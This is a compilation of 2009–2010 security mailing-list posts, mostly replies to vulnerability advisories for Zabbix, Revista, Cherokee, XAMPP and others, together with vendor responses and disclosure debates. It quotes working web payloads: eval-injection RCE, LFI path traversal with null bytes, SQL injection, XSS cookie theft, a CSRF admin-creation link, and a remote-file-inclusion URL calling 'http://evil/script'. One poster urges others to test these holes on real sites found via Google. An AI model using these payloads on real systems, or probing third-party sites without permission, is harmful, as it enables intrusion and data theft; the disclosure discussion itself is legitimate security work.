        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-1066
  [ 2 ] CVE-2008-4810
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-4810
  [ 3 ] CVE-2008-4811
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-4811
  [ 4 ] CVE-2009-1669
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2009-1669

Availability
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-201006-13.xml

Concerns?
=3D=3D=3D=3D=3D=3D=3D=3D=3D

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.

License
=3D=3D=3D=3D=3D=3D=3D

Copyright 2010 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.5


The information contained in this email is intended for the personal an=
d confidential use
of the addressee only. It may also be privileged information. If you ar=
e not the intended
recipient then you are hereby notified that you have received this docu=
ment in error and
that any review, distribution or copying of this document is strictly p=
rohibited. If you have 
received  this communication in error, please notify Brendata immediate=
ly on: 

+44 (0)1268 466100, or email technical@brendata.co.uk 

Brendata (UK) Ltd
Nevendon Hall, Nevendon Road, Basildon, Essex. SS13 1BX  UK
Registered Office as above. Registered in England No. 2764339

See our current vacancies at www.brendata.co.uk


From: security curmudgeon jericho@attrition.org
Sent: Thu 1. Jul 2010 19:16
On Sat, 12 Jun 2010, info@securitylab.ir wrote:

: #################################################################  
: # Securitylab.ir  
: #################################################################  
: # Application Info:  
: # Name: Cherokee Web Server
: # Version: 0.5.3
: # Download: http://mirror.aarnet.edu.au/pub/cherokee/windows/Cherokee-setup-0.5.3.exe
: #################################################################  

: [Directory Traversal]:
: http://127.0.0.1/%5C../%5C../%5C../boot.ini%20

This is essentially CVE-2009-3902, just encoding one char.

: [Remote Source Disclosure]:
: http://127.0.0.1:80/file.html::$DATA
: 
: http://127.0.0.1/index.htm%20 

Did you try these on something other than HTML? Did it work for .php or 
.asp for example?


From: scott.switzer@openx.org
Sent: Wed 28. Jan 2009 16:34
OpenX has fixed all of the vulnerabilities, and will release new versions of v2.4 and v2.6, after the QA cycle, in the next 24-48 hours.

Scott Switzer
OpenX Community Leader


From: =?ISO-8859-1?Q?Roberto_Mu=F1oz_Fernandez?= robertomf@fujitsu.es
Sent: Fri 6. Mar 2009 00:42
Vulnerability A) confirmed in zabbix 1.4.* for example in..


http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort[%22.phpinfo().%22]=1
<http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort%5B%22.phpinfo%28%29.%22%5D=1>
<http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort%5B%22.phpinfo%28%29.%22%5D=1>
> Zabbix 1.6.2 Frontend Multiple Vulnerabilities
>
>  Name              Multiple Vulnerabilities in Zabbix Frontend
>  Systems Affected  Zabbix 1.6.2 and possibly earlier versions
>  Severity          High
>  Impact (CVSSv2)   High 9.7/10, vector: (AV:N/AC:L/Au:N/C:P/I:C/A:C)
>  Vendor            http://www.zabbix.com/
>  Advisory          http://www.ush.it/team/ush/hack-zabbix_162/adv.txt
>  Authors           Antonio "s4tan" Parata (s4tan AT ush DOT it)
>                    Francesco "ascii" Ongaro (ascii AT ush DOT it)
>                    Giovanni "evilaliv3" Pellerano (evilaliv3 AT
>                    digitalbullets DOT org)
>  Date              20090303
>
> I. BACKGROUND
>
> >From the Zabbix web site: "ZABBIX offers advanced monitoring, alerting
> and visualization features today which are missing in other monitoring
> systems, even some of the best commercial ones".
>
> II. DESCRIPTION
>
> Multiple Vulnerabilities exist in Zabbix front end software.
>
> III. ANALYSIS
>
> Summary:
>
>  A) Remote Code Execution
>  B) Cross Site Request Forgery
>  C) Local File Inclusion
>
> A) Remote Code Execution
>
> A Remote Code Execution issue has been found in Zabbix version
> 1.6.2 and no authentication is required in order to exploit this
> vulnerability. The Magic Quotes must be off in order to exploit
> this vulnerability, however this feature will not be supported
> starting with PHP 6.0 (ref. http://it2.php.net/magic_quotes).
>
> Zabbix has a security feature that parses all incoming input for
> possible bad chars with the help of the function check_fields() defined
> in "include/validate.inc.php". The issue we have discovered is contained
> in this input validation code.
>
> Pages define an array of every used variable that derives from external
> (GPC) input. An example of the mechanism is the following:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> $fields=array(
>  "config"=>     array(T_ZBX_INT, O_OPT, P_SYS, IN("0,1"), NULL),
>  // actions
>  "groupid"=>    array(T_ZBX_INT, O_OPT, P_SYS|P_NZERO, DB_ID, NULL),
>  "hostid"=>     array(T_ZBX_INT, O_OPT, P_SYS|P_NZERO, DB_ID, NULL),
>  "start"=>      array(T_ZBX_INT, O_OPT, P_SYS, BETWEEN(0,65535)."({}%".
>                 PAGE_SIZE."==0)", NULL),
>  "next"=>       array(T_ZBX_STR, O_OPT, P_SYS, NULL, NULL),
>  "prev"=>       array(T_ZBX_STR, O_OPT, P_SYS, NULL, NULL),
>  // filter
>  "filter_rst"=> array(T_ZBX_INT, O_OPT, P_SYS, IN(array(0,1)), NULL),
>  "filter_set"=> array(T_ZBX_STR, O_OPT, P_SYS, null, NULL),
>  "userid"=> array(T_ZBX_INT, O_OPT, P_SYS, DB_ID, NULL),
>  filter_timesince=> array(T_ZBX_INT, O_OPT, P_UNSET_EMPTY, null, NULL),
>  filter_timetill=> array(T_ZBX_INT, O_OPT, P_UNSET_EMPTY, null, NULL),
>  //ajax
>  favobj=>     array(T_ZBX_STR, O_OPT, P_ACT, NULL, NULL),
>  favid=>      array(T_ZBX_STR, O_OPT, P_ACT, NOT_EMPTY,
>                 isset({favobj})),
>  state=>      array(T_ZBX_INT, O_OPT, P_ACT, NOT_EMPTY,
>                 isset({favobj}) && ("filter"=={favobj})),
> );
>
> check_fields($fields);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> After the definition of the "$fields" array all the variables are
> checked by the function check_fields().
>
> The main step of the check_fields() function is:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> foreach($fields as $field => $checks){
>  $err |= check_field($fields, $field, $checks);
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> Following the check_field() function we have identified that the
> functions main steps are the creation of some local variables using
> list() and a consequent call of calc_exp() (which resides in the same
> file).
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> list($type, $opt, $flags, $validation, $exception) = $checks;
> [...]
> $except=calc_exp($fields,$field,$exception);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> calc_exp()s code is:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> function calc_exp($fields,$field,$expression){
>  if(zbx_strstr($expression,"{}") && !isset($_REQUEST[$field]))
>   return FALSE;
>
>  if(zbx_strstr($expression,"{}") && !is_array($_REQUEST[$field]))
>   $expression = str_replace("{}",$_REQUEST[".$field."],$expression);
>
>  if(zbx_strstr($expression,"{}") && is_array($_REQUEST[$field])){
>  foreach($_REQUEST[$field] as $key => $val){
>    $expression2 =
> str_replace("{}",$_REQUEST[".$field."][".$key."],$expression);
>    if(calc_exp2($fields,$field,$expression2)==FALSE)
>     return FALSE;
>   }
>   return TRUE;
>  }
>  return calc_exp2($fields,$field,$expression);
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> As you can see we should be able to call calc_exp2(), our vulnerable
> function, avoiding to fall into a breach that exits (returns) from the
> function.
>
> Investigating calc_exp2()s source:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> function calc_exp2($fields,$field,$expression){
>  foreach($fields as $f => $checks){
>   $expression = str_replace({.$f.},$_REQUEST[".$f."],$expression);
>  }
>
>  $expression = trim($expression,"& ");
>  $exec = "return (".$expression.") ? 1 : 0;";
>
>  $ret = eval($exec);
>
>  return $ret;
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> We have reached a function that contains an eval() call of the "$exec"
> variable that contains user controlled data.
>
> To better understand how the executed string is composed we must find
> a disposable page. Thanks to "locales.php" we can reach this function
> without any authentication.
>
> Now if we try to execute the query:
>
> /locales.php?download&langTo&extlang[AAA]=1
>
> The value of $exec is the following:
>
> return (($_REQUEST["extlang"]["AAA"]!=)) ? 1 : 0;
>
> Some constraints exist: the injected payload must comply with the
> calc_exp()s requirements in order to call calc_exp2() and the created
> string must be syntactically correct. What we can do is to play with
> the key values of the array. An intermediate test was:
>
> /locales.php?download&langTo&extlang[AAA"];phpinfo();]=1
>
> But it generates a syntax error. After some thinking the problem was
> solved in this way:
>
> /locales.php?download&langTo&extlang[".phpinfo()."]=1
>
> Now the syntax is correct and the payload gets executed.
>
> B) Cross Site Request Forgery
>
> A CSRF vulnerability exists in file "users.php". If the admin visits the
> following link:
>
> /users.php?config=0&save&alias=alias&name=foo&surname=foo&user_type=3&
> lang=lang&theme=theme&autologout=0&url=url&refresh=0
>
> A user with admin permissions is created.
>
> C) Local File Inclusion
>
> If the user is authenticated, a Local File Inclusion vulnerability
> exists in file "locales.php".
>
> The following URL exploits this vulnerability:
>
> /locales.php?action=1&next=1&srclang=../validate&extlang=en
>
> A string in the form of ".inc.php" is automatically appended to the
> local file path. Despite that its possible to include every target
> file truncating the filename using %00 (nullbyte):
>
> /locales.php?next=1&srclang=../../../../../../../var/log/apache2/error_log%00%22
>
> Nullbyte injection normally requires magic quotes off.
>
> The vulnerable code is the following:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
>  srclang=> array(T_ZBX_STR, O_OPT, NULL, NOT_EMPTY, isset({next})),
> [...]
> else if(isset($_REQUEST[next])){
> [...]
>  $fileFrom = include/locales/.$_REQUEST[srclang].".inc.php";
>   if(file_exists($fileFrom)){
>    include($fileFrom);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> IV. DETECTION
>
> Zabbix 1.6.2 and possibly earlier versions are vulnerable.
>
> V. WORKAROUND
>
> Update zabbix from svn the server (svn://svn.zabbix.com) or download
> version 1.6.3 when aviable.
>
> VI. VENDOR RESPONSE
>
> Vendor will fix all the exposed vulnerabilities in Zabbix 1.6.3.
>
> VII. CVE INFORMATION
>
> No CVE at this time.
>
> VIII. DISCLOSURE TIMELINE
>
> 20081215 Bug discovered
> 20090116 Initial vendor contact
> 20090116 Vendor Response (Fixes will be included in Zabbix 1.6.3)
> 20090130 Second email (When this is going to be fixed?)
> 20090131 Vendor Response (Everything has been fixed a week ago and is
>          publicy aviable in the SVN, Zabbix 1.6.3 will be released
>          within 10-15 days)
> 20090220 Third email (20 days elasped and no response, we will release
>          on 23 Feb)
> 20090220 Vendor Response (Postpone of 5-10 days required)
> 20090220 Third email (We will wait 5-10 days, 2 March is the deadline
>          if no contact)
> 20090303 Forced Advisory Release
>
> IX. CREDIT
>
> Antonio "s4tan" Parata, Francesco "ascii" Ongaro and Giovanni
> "evilaliv3" Pellerano are credited with the discovery of this
> vulnerability.
>
> Antonio "s4tan" Parata
> web site: http://www.ictsc.it/
> mail: s4tan AT ictsc DOT it, s4tan AT ush DOT it
>
> Francesco "ascii" Ongaro
> web site: http://www.ush.it/
> mail: ascii AT ush DOT it
>
> Giovanni "evilaliv3" Pellerano
> web site: http://www.evilaliv3.org
> mail: giovanni.pellerano AT evilaliv3 DOT org
>
> X. LEGAL NOTICES
>
> Copyright (c) 2009 Francesco "ascii" Ongaro
>
> Permission is granted for the redistribution of this alert
> electronically. It may not be edited in any way without mine express
> written consent. If you wish to reprint the whole or any
> part of this alert in any other medium other than electronically,
> please email me for permission.
>
> Disclaimer: The information in the advisory is believed to be accurate
> at the time of publishing based on currently available information. Use
> of the information constitutes acceptance for use in an AS IS condition.
> There are no warranties with regard to this information. Neither the
> author nor the publisher accepts any liability for any direct, indirect,
> or consequential loss or damage arising from use of, or reliance on,
> this information.
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
>   



From: Eygene Ryabinkin rea-sec@codelabs.ru
Sent: Mon 9. Mar 2009 14:59
Good day.

Small addition to the advisory.

Tue, Mar 03, 2009 at 03:30:26PM +0000, ascii wrote:
> Zabbix 1.6.2 Frontend Multiple Vulnerabilities
[...]
> C) Local File Inclusion
> 
> If the user is authenticated, a Local File Inclusion vulnerability
> exists in file "locales.php".
> 
> The following URL exploits this vulnerability:
> 
> /locales.php?action=1&next=1&srclang=../validate&extlang=en
> 
> A string in the form of ".inc.php" is automatically appended to the
> local file path. Despite that its possible to include every target
> file truncating the filename using %00 (nullbyte):
> 
> /locales.php?next=1&srclang=../../../../../../../var/log/apache2/error_log%00%22
> 
> Nullbyte injection normally requires magic quotes off.
> 
> The vulnerable code is the following:
> 
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
> 
>  srclang=> array(T_ZBX_STR, O_OPT, NULL, NOT_EMPTY, isset({next})),
> [...]
> else if(isset($_REQUEST[next])){
> [...]
>  $fileFrom = include/locales/.$_REQUEST[srclang].".inc.php";
>   if(file_exists($fileFrom)){
>    include($fileFrom);
> 
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

The second variable, extlang, also can be used for the file inclusion
and before r6886 there was the programming error: patch for locales.php
r6593 included wrong validation condition for extlang:
-----
if(ereg(^[A-Za-z0-9_]+$, $_REQUEST[srclang]) && ($_REQUEST[extlang] != new))
-----
This was fixed in revision 6886 of branches/1.6.

> IV. DETECTION
> 
> Zabbix 1.6.2 and possibly earlier versions are vulnerable.
> 
> V. WORKAROUND
> 
> Update zabbix from svn the server (svn://svn.zabbix.com) or download
> version 1.6.3 when aviable.

Be sure to update to the r6886 or later, otherwise LFI will still
be possible.
-- 
Eygene


From: marianiscc@hotmail.com
Sent: Mon 13. Apr 2009 14:49
Discovered by Sirdarckcat from elhacker.net

------------------------------------------------------------------------
------------

Revista 1.1.2

http://php-revista.sourceforge.org

------------------------------------------------------------------------
------------

Revista is a simple spanish PHP magazine editor.

It was done by php.org.mx

It suffers of multiple vulnerabilities.

------------------------------------------------------------------------
------------

Remote File Inclusion

http://revista/estilo/[ANY STYLE]/index.php?adodb=http://evil/script

------------------------------------------------------------------------
------------

SQLi

http://revista/estilo/[ANY STYLE]/busqueda_tema.php?id_temas=-1+[SQL]

http://revista/estilo/[ANY STYLE]/busqueda.php?cadena=+[SQL]

http://revista/estilo/[ANY STYLE]/autor.php?id_autor=-1+[SQL]

http://revista/estilo/[ANY STYLE]/lista.php?email=+[SQL]

http://revista/estilo/[ANY STYLE]/articulo.php?id_articulo=-1+[SQL]

------------------------------------------------------------------------
------------

Credentials Bypass

http://revista/admin/index.php?ID_ADMIN=1&SUPER_ADMIN=1

------------------------------------------------------------------------
------------

XSS

http://revista/estilo/[ANY STYLE]/busqueda.php?cadena=<XSS>

http://revista/estilo/[ANY STYLE]/lista.php?email=<XSS>

------------------------------------------------------------------------
------------

Att.

Sirdarckcat


From: David Cantrell d.cantrell@outcometechnologies.com
Sent: Wed 13. May 2009 11:10
ascii wrote:

> FormMail 1.92 Multiple Vulnerabilities  ...

The authors own webpage about formmail mentions the NMS project at the 
bottom of the page, about which he says:

" While the free code found at my web site has not evolved much in
   recent years, the general programming practices and standards of CGI
   programs have. nms is an attempt by very active programmers in the
   Perl community to bring the *quality of code for these types of
   programs up to date and eliminate some of the bad programming
   practices and bugs* found in the existing Matts Script Archive code.

" I would highly recommend downloading the nms versions if you wish to
   learn CGI programming. The code you find at Matts Script Archive is
   not representative of how even I would code these days. *My interests
   and activies have moved on, however, and I just have not found the
   time to update all of my scripts*. One of the major reasons for this
   is that they work for many people. For this reason, I will continue to
   provide them to the public, but am also *pleased to make you aware of
   well-coded alternatives*. "

(my emphasis)

which to me looks like hes already addressed the issue by recommending 
that you use NMS formmail if you care about the quality of the code and 
any bugs.

-- 
David Cantrell
Outcome Technologies Ltd
BUPA House, 15-19 Bloomsbury Way, London WC1A 2BA
Registered in England, No: 3829851


From: ascii ascii@katamail.com
Sent: Wed 13. May 2009 13:05
David Cantrell wrote:
> which to me looks like hes already addressed the issue by recommending
> that you use NMS formmail if you care about the quality of the code and
> any bugs.

Dear David,

telling people to use a different software doesnt automatically fix
issues.

As we tested FormMail and want to warn people who deployed FormMail and
will deploy FormMail we posted an advisory for FormMail. Hope this open
your mind.

Bye,
ascii
ush.it


From: TK147@TheArchitect.com
Sent: Thu 28. May 2009 10:19
Well MaXe,

Thats very clever of you.  The "vendor" is rolling out a patch and new version to address the issues you have raised.  Not sure why you beleive this software, developed with untold manhours and effort, and then offered for a very modest fee, should be released without appropriate pirating protections.  ..and why you woouldnt warn them and subsequently countless innocents of the issue.  Isnt this what your site is about?

But thanks for raising the issue.

YouAllLookAlikeToMe


From: security@intern0t.net
Sent: Thu 28. May 2009 15:27
InterN0T is about Hacking. (if you have seen the introduction)

To me, Hacking is primarily about learning how and why things works as they do and if they can be changed (improved or abused in this case) and of course, sharing what you find out so the community can benefit from it! 

Afterwards, the developers can learn to code more secure (if you find a vulnerability). However, as we all might know: Security is a human factor and will always be a problem.

If i would contact the vendor as the first thing each time, how would people be able to learn from my research if its not even possible to get an earlier version where the vulnerability is included in?

Consider the alternatives (where i dont contact the vendor):
- Sell the vulnerability and know people will exploit people in the dark.
- Keep it to myself and exploit people.
- Share it among a little group of people and let them play/exploit with it.

Taking that into consideration makes public disclosure sound like a good option to me. :-)


All of the best,
MaXe

PS: Yes, i know people will exploit the issue / vulnerability in the public disclosure method, but in this case the dealer actually has a chance of fixing it and usually they will fix it faster because its a lot more urgent. 

It might stress them, but if they just made sure all function calls and user input (forms) were validated properly then i wouldnt have been able to find these holes in the first place ;-)


From: security curmudgeon jericho@attrition.org
Sent: Mon 20. Jul 2009 07:02
On Mon, 13 Apr 2009, marianiscc@hotmail.com wrote:

: Discovered by Sirdarckcat from elhacker.net

By discovered, you mean copied from the disclosure in September 2006 
right?

CVE-2006-4605 through CVE-2006-4608.



From: bill.carovano@citrix.com
Sent: Wed 29. Jul 2009 14:09
It should be noted that Citrix does not offer a feature or product called "XenCenterWeb."  At one time, this tool was included in the informal XenServer Resource Kit, to serve as an example of how to utilize the XenServer SDK and provide web-based consoles for specific types of administrators (where customers had such a need).  It was never a supported product or feature, and is in fact no longer available.

Bill Carovano
Sr. Director, Technical Product Marketing
Citrix Systems, Inc.


From: starchang@aten.com.tw
Sent: Wed 12. Aug 2009 10:34
This is Technical Support Team from ATEN.

Firstly, we appreciate all suggestions from Germany TUB LAB. Undoubtedly, guaranteeing our KVM products with robust security mechanism is our responsibility.

After discussing with Germany TUB LAB, we believe all security issues could be fixed by new Firmware version as below. 

- KH1508i/KH1516i v1.0.068 
- KN9108/KN9116 v1.1.109 
- PN9108 v1.8.179 

Scheduled Release Date is around Aug. 17, 2009 

Please visit our ATEN official site later.
http://www.aten.com/download/download.php

As for SSL Certificate, SSL Certificate import function has built into our KVM above with new firmware. We strongly suggest our KVM users to import their individual Certificate for advanced security concern. We will tell our KVM users how to generate their own Certificate by openssl tool in our product manual later.

Thanks,
ATEN SUPPORT


From: Glenn Rossi dragon@midatlanticbb.com
Sent: Mon 17. Aug 2009 11:56
I emailed you last week but did not receive a response.

What about units like the CN5000 that do not appear anywhere on your 
website?  We have two of these and are very concerned about the below-
referenced vulnerability.

Will a firmware upgrade for these units be forthcoming as well, or do 
we now own hundreds of dollars worth of paperweights?



> This is Technical Support Team from ATEN.
> 
> Firstly, we appreciate all suggestions from Germany TUB LAB.
> Undoubtedly, guaranteeing our KVM products with robust security
> mechanism is our responsibility. 
> 
> After discussing with Germany TUB LAB, we believe all security issues
> could be fixed by new Firmware version as below. 
> 
> - KH1508i/KH1516i v1.0.068 
> - KN9108/KN9116 v1.1.109 
> - PN9108 v1.8.179 
> 
> Scheduled Release Date is around Aug. 17, 2009 
> 
> Please visit our ATEN official site later.
> http://www.aten.com/download/download.php
> 
> As for SSL Certificate, SSL Certificate import function has built into
> our KVM above with new firmware. We strongly suggest our KVM users to
> import their individual Certificate for advanced security concern. We
> will tell our KVM users how to generate their own Certificate by
> openssl tool in our product manual later. 
> 
> Thanks,
> ATEN SUPPORT

--
Glenn Rossi
Operations/Security/Engineering
MidAtlantic BroadBand/Staffnet/Protel
------------------------------------------
voice:  (866) HELP-KIT ext 132

web:    http://www.midatlanticbb.com
email:  mailto:webmaster@midatlanticbb.com
fax:    (410) 727-8245
handle: dragon
------------------------------------------
MidAtlantic BroadBand
729 East Pratt St., Suite 440
Baltimore, MD USA 21202
------------------------------------------
Without security, freedom is not possible.
------------------------------------------




From: ign.sec@gmail.com
Sent: Wed 6. Jan 2010 09:55
One thing i forgot, a %00 must be included at the end of the LFI, IE: index.php?op=../../../../../../../etc/passwd%00 

And ?op is vulnerable to a xss attack, IE:
index.php?op=<script>alert(document.cookie)</script>

Ignacio.


From: MustLive mustlive@websecurity.com.ua
Sent: Thu 4. Feb 2010 22:01
Hello MaXe!

> Have you checked the newest aka (also known as) latest version which is
> actually: 1.7.3 ?

No, I didnt and there was a reason for it. All these 7 advisories were made
in 2009 (as it clear from Timeline which I made for all advisories). Only
now I sent them to Bugtraq. And that time XAMPP 1.7.1 was the latest
version.

Besides, in 2009 developer of XAMPP answered me (with thanks) only at one of
seven letters and he didnt mention about fixing any of holes which I found.
So there is possibility that all or some of these holes are still not fixed.

Im rarely sending advisories about vulnerabilities to Bugtraq. During
2007-2010 I sent only small amount of my advisories to Bugtraq. From the end
of 2006 I was sending all holes (http://securityvulns.ru/source15611.html)
which I found to securityvulns.ru (securityvulns.com) and 3APA3A, admin of
these sites, sometimes sent some of them to Bugtraq. Last month I drew
attention that he didnt write to Bugtraq about all these holes in XAMPP, so
I decided to write about them by myself :-).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

----- Original Message ----- 
From: advisories@intern0t.net
To: bugtraq@securityfocus.com ; MustLive
Sent: Monday, February 01, 2010 10:53 AM
Subject: Re: Multiple vulnerabilities in XAMPP (advisory #7)


Hi MustLive

Have you checked the newest aka (also known as) latest version which is
actually: 1.7.3 ?

Link: http://www.apachefriends.org/en/xampp-windows.html


Best regards,
MaXe

On January 28, 2010 at 11:55 PM MustLive <mustlive@websecurity.com.ua>
wrote:

> Hello Bugtraq!
>
> I am continue informing you about multiple vulnerabilities in XAMPP.
>
> -----------------------------
> Advisory #7
> -----------------------------
> CSRF, SQL Injection and Full path disclosure vulnerabilities in XAMPP
> -----------------------------
> URL: http://websecurity.com.ua/3285/
> -----------------------------
> Timeline:
>
> 27.06.2009 - found the vulnerabilities.
> 01.07.2009 - announced at my site.
> 02.07.2009 - informed developers.
> 08.08.2009 - disclosed at my site.
> -----------------------------
> Details:
>
> These are Cross-Site Request Forgery, SQL Injection and Full path
> disclosure
> vulnerabilities.
>
> CSRF:
>
> http://site/xampp/cds-fpdf.php
>
> Its possible to delete or add data in test table (as via CSRF, and as via
> Insufficient Authorization vulnerabilities). And also to conduct SQL
> Injection via CSRF attacks.
>
> SQL Injection:
>
> http://site/xampp/cds-fpdf.php?action=del&id=-1%20or%201=1 (register
> globals
> on)
>
> http://site/xampp/cds-fpdf.php?interpret=1&titel=1&jahr=1),(version(),1,1
>
> http://site/xampp/cds-fpdf.php?interpret=1&titel=,1,1),(version(),1,1)/*
> (mq off)
>
> http://site/xampp/cds-fpdf.php?titel=1&interpret=,1),(version(),1,1)/*
> (mq
> off)
>
> Attack is possible during access to admin panel (via Insufficient
> Authorization), or via CSRF.
>
> Full path disclosure:
>
> http://site/xampp/external/ps/draw.php
> http://site/xampp/external/ps/hyperlinks.php
> http://site/xampp/external/ps/image.php
> http://site/xampp/external/ps/overprint.php
> http://site/xampp/external/ps/ps.php?submit=OK
> http://site/xampp/external/ps/shading.php
> http://site/xampp/external/ps/spotcolor.php
> http://site/xampp/external/ps/text.php
> http://site/xampp/special/ps/draw.php
> http://site/xampp/special/ps/hyperlinks.php
> http://site/xampp/special/ps/image.php
> http://site/xampp/special/ps/overprint.php
> http://site/xampp/special/ps/ps.php?submit=OK
> http://site/xampp/special/ps/shading.php
> http://site/xampp/special/ps/spotcolor.php
> http://site/xampp/special/ps/text.php
>
> Vulnerable are XAMPP 1.6.8 and previous versions. And potentially next
> versions (including last version XAMPP 1.7.1).
>
> -----------------------------
>
> Best wishes & regards,
> MustLive
> Administrator of Websecurity web site
> http://websecurity.com.ua


From: MustLive mustlive@websecurity.com.ua
Sent: Sat 6. Feb 2010 23:56
Hello Sebastien!

You can confirm it by yourself. Just find a site on XAMPP (Google can help
you with it) and check the holes using PoCs which I provided.

> and what target of xampp is it ? win32 ? linux ?

As far as I remember last year when I found all these vulnerabilities in
XAMPP, it was XAMPP on Windows servers on all those sites where I found
these holes.

In 99% of cases Im researching vulnerabilities in the Web at real sites,
not at localhost (at localhost I can check for holes only in software which
I use). And I had never used XAMPP (or WAMPP or LAMPP) and I checked all
these holes at real web sites. So in all my advisories I wrote "Vulnerable
are XAMPP 1.6.8 and previous versions", because maximum version which I
found was 1.6.8. And it was quite possible that version 1.7.1 (last version
at that time) was also vulnerable, so I mentioned about it in my advisories.
And XAMPP developers didnt refute existence of vulnerabilities in 1.7.0 and
1.7.1, when I informed them, and didnt answer if they fixed the holes (so
its possible that these holes are still not fixed).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

----- Original Message ----- 
From: S?bastien H?nar?s
To: MustLive
Cc: advisories@intern0t.net ; bugtraq@securityfocus.com
Sent: Friday, February 05, 2010 1:19 AM
Subject: Re: Multiple vulnerabilities in XAMPP (advisory #7)


Hello people, can a secondary source confirm the vuln please ?
and what target of xampp is it ? win32 ? linux ?


2010/2/4 MustLive <mustlive@websecurity.com.ua>

Hello MaXe!


Have you checked the newest aka (also known as) latest version which is
actually: 1.7.3 ?


No, I didnt and there was a reason for it. All these 7 advisories were made
in 2009 (as it clear from Timeline which I made for all advisories). Only
now I sent them to Bugtraq. And that time XAMPP 1.7.1 was the latest
version.

Besides, in 2009 developer of XAMPP answered me (with thanks) only at one of
seven letters and he didnt mention about fixing any of holes which I found.
So there is possibility that all or some of these holes are still not fixed.

Im rarely sending advisories about vulnerabilities to Bugtraq. During
2007-2010 I sent only small amount of my advisories to Bugtraq. From the end
of 2006 I was sending all holes (http://securityvulns.ru/source15611.html)
which I found to securityvulns.ru (securityvulns.com) and 3APA3A, admin of
these sites, sometimes sent some of them to Bugtraq. Last month I drew
attention that he didnt write to Bugtraq about all these holes in XAMPP, so
I decided to write about them by myself :-).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua


From: lars@enomaly.com
Sent: Tue 16. Feb 2010 15:39
The reported issue DOES NOT AFFECT ANY CURRENT ENOMALY PRODUCT.  Our current products are Enomaly ECP Service Provider Edition and Enomaly ECP High Assurance Edition, and neither utilizes the "vmfeed" module.

Specifically, the "vmfeed" module has not been utilized in any version of our products released since the initial release of Enomaly ECP Service Provider Edition in June 2009.  The "vmfeed" module was utilized only in our previous-generation "Community Edition" product, which has been deprecated and withdrawn from distribution.  Enomaly ECP Service Provider Edition is a completely different product from the old Community Edition.

As a result, since the Community Edition product is deprecated and has been withdrawn, Enomaly has not investigated this reported issue.

Further information on the differences between the deprecated Community Edition technology and our current Service Provider Edition technology can be found at http://src.enomaly.com.

Lars-Erik Forsberg, VP Delivery
Enomaly Inc.


From: dan.j.rosenberg@gmail.com
Sent: Fri 5. Mar 2010 12:10
Apparently Bugtraq doesnt like attachments.  The patches are available as attachments to the archived Full-Disclosure posting, at:

http://seclists.org/fulldisclosure/2010/Mar/122


From: Andrew Morum amorum@brendata.co.uk
Sent: Thu 3. Jun 2010 15:57
Not sure, phprunner incorporates this doesnt it? 

-----Original Message-----
From: Alex Legler [mailto:a3li@gentoo.org] 
Sent: 02 June 2010 22:18
To: gentoo-announce@gentoo.org
Cc: bugtraq@securityfocus.com; full-disclosure@lists.grok.org.uk;
security-alerts@linuxsecurity.com
Subject: [ GLSA 201006-13 ] Smarty: Multiple vulnerabilities

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=

Gentoo Linux Security Advisory                           GLSA 201006-13=

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=

                                            http://security.gentoo.org/=

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=


  Severity: Normal
     Title: Smarty: Multiple vulnerabilities
      Date: June 02, 2010
      Bugs: #212147, #243856, #270494
        ID: 201006-13

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=


Synopsis
=3D=3D=3D=3D=3D=3D=3D=3D

Multiple vulnerabilities in the Smarty template engine might allow
remote attackers to execute arbitrary PHP code.

Background
